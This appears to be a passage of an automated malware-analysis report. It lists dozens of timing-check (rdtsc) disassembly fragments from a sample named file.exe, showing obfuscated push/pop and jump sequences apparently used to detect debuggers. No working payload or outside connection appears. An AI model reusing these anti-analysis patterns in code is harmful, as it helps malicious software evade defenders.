                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D163A4 second address: D1642F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F363h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F5E8080F358h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D3012h], ebx 0x0000002a xor edi, dword ptr [ebp+122D2DE5h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007F5E8080F358h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c push 00000000h 0x0000004e push 00000000h 0x00000050 push eax 0x00000051 call 00007F5E8080F358h 0x00000056 pop eax 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b add dword ptr [esp+04h], 00000015h 0x00000063 inc eax 0x00000064 push eax 0x00000065 ret 0x00000066 pop eax 0x00000067 ret 0x00000068 xchg eax, esi 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d jnp 00007F5E8080F356h 0x00000073 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1642F second address: D16435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D165DC second address: D165E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D183F7 second address: D183FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1A347 second address: D1A3A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F5E8080F358h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push ecx 0x00000026 mov ebx, dword ptr [ebp+122D3C40h] 0x0000002c pop edi 0x0000002d push 00000000h 0x0000002f mov edi, 77A75870h 0x00000034 push 00000000h 0x00000036 cmc 0x00000037 xchg eax, esi 0x00000038 jmp 00007F5E8080F35Dh 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push esi 0x00000041 jmp 00007F5E8080F35Ah 0x00000046 pop esi 0x00000047 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1A3A0 second address: D1A3A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1C49C second address: D1C4A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5E8080F356h 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1A556 second address: D1A568 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5E810FCBA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1D685 second address: D1D69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5E8080F35Bh 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1A568 second address: D1A572 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5E810FCBA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1F856 second address: D1F87A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D217AA second address: D217B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D29022 second address: D2902C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5E8080F356h 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D2EF9E second address: D2EFA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D2F1FD second address: D2F201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D2F201 second address: D2F207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D2F207 second address: D2F220 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5E8080F35Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D2F220 second address: D2F226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D2F226 second address: D2F22B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D33104 second address: D33108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D33108 second address: D3310E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D334BE second address: D334D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F5E810FCBA6h 0x0000000d jmp 00007F5E810FCBAAh 0x00000012 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D334D5 second address: D334D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D33626 second address: D3362B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D33944 second address: D339A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E8080F35Dh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F5E8080F366h 0x0000000f js 00007F5E8080F356h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push esi 0x0000001a jne 00007F5E8080F356h 0x00000020 jmp 00007F5E8080F368h 0x00000025 pop esi 0x00000026 pushad 0x00000027 push eax 0x00000028 pop eax 0x00000029 push edx 0x0000002a pop edx 0x0000002b jnc 00007F5E8080F356h 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D339A6 second address: D339AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D39282 second address: D392CC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E8080F36Ch 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5E8080F364h 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F5E8080F366h 0x00000017 pop ebx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jo 00007F5E8080F379h 0x00000020 push eax 0x00000021 push edx 0x00000022 jg 00007F5E8080F356h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D392CC second address: D392D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D392D0 second address: D392D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CC84A5 second address: CC84AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D37F0A second address: D37F38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F368h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F5E8080F35Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D37F38 second address: D37F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F5E810FCBAEh 0x0000000b jmp 00007F5E810FCBB9h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5E810FCBB6h 0x00000018 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D37F7D second address: D37F9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5E8080F356h 0x0000000a jmp 00007F5E8080F364h 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D38133 second address: D3813F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5E810FCBA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D38597 second address: D385B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E8080F367h 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3870E second address: D38712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D38712 second address: D3871E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D38BCC second address: D38BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D38BD4 second address: D38BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D38BD8 second address: D38BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D40627 second address: D40650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F5E8080F356h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F5E8080F367h 0x00000017 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D40650 second address: D4067A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB9h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jng 00007F5E810FCBCFh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D4067A second address: D4069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E8080F363h 0x00000009 popad 0x0000000a pushad 0x0000000b jo 00007F5E8080F356h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3F30E second address: D3F313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3F313 second address: D3F325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5E8080F356h 0x0000000a jo 00007F5E8080F356h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3F46E second address: D3F479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F5E810FCBA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3F479 second address: D3F488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F5E8080F356h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3F77C second address: D3F781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3F781 second address: D3F796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b je 00007F5E8080F356h 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3F8EF second address: D3F8F4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3FA70 second address: D3FA77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3FA77 second address: D3FA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3FA82 second address: D3FA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3FC56 second address: D3FC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3FC5B second address: D3FC61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3FEEA second address: D3FEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F5E810FCBABh 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3FEFD second address: D3FF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D3FF03 second address: D3FF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F5E810FCBA6h 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D400A0 second address: D400A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D400A4 second address: D400B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5E810FCBA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07193 second address: D071B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F5E8080F356h 0x00000011 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D071B8 second address: D071BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07419 second address: D07446 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5E8080F356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F5E8080F358h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F5E8080F365h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07446 second address: D0745B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5E810FCBAEh 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D078B9 second address: D078C9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5E8080F356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D078C9 second address: D078F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F5E810FCBACh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jnc 00007F5E810FCBB8h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D078F9 second address: D078FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D078FD second address: D07913 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E810FCBA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07A0F second address: D07A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07A13 second address: D07A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07A19 second address: D07A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07A1F second address: D07A3F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b mov edx, dword ptr [ebp+122D2E2Dh] 0x00000011 nop 0x00000012 jnp 00007F5E810FCBB2h 0x00000018 je 00007F5E810FCBACh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07A3F second address: D07A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F5E8080F356h 0x0000000e rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07A4D second address: D07A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07AF1 second address: D07AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07AF5 second address: D07B03 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E810FCBA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07B03 second address: D07B33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F5E8080F35Fh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5E8080F362h 0x00000019 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07B33 second address: D07B69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F5E810FCBB9h 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5E810FCBB2h 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07DDE second address: D07DE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D07DE4 second address: D07DE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0820F second address: D08214 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D085AC second address: D085B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D085B2 second address: D0866C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F5E8080F358h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 lea eax, dword ptr [ebp+1247BF53h] 0x0000002e call 00007F5E8080F35Dh 0x00000033 jl 00007F5E8080F358h 0x00000039 pushad 0x0000003a popad 0x0000003b pop ecx 0x0000003c push eax 0x0000003d ja 00007F5E8080F36Ch 0x00000043 mov dword ptr [esp], eax 0x00000046 add ecx, 3CCC3FBBh 0x0000004c lea eax, dword ptr [ebp+1247BF0Fh] 0x00000052 push 00000000h 0x00000054 push esi 0x00000055 call 00007F5E8080F358h 0x0000005a pop esi 0x0000005b mov dword ptr [esp+04h], esi 0x0000005f add dword ptr [esp+04h], 0000001Ch 0x00000067 inc esi 0x00000068 push esi 0x00000069 ret 0x0000006a pop esi 0x0000006b ret 0x0000006c pushad 0x0000006d mov edi, 3976B121h 0x00000072 add dword ptr [ebp+122D3A56h], edx 0x00000078 popad 0x00000079 push eax 0x0000007a push eax 0x0000007b push edx 0x0000007c jns 00007F5E8080F35Ch 0x00000082 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D440CC second address: D440D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D44475 second address: D44493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5E8080F368h 0x0000000b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D445E1 second address: D445FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E810FCBB4h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D48F19 second address: D48F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D48F26 second address: D48F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D48F2C second address: D48F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
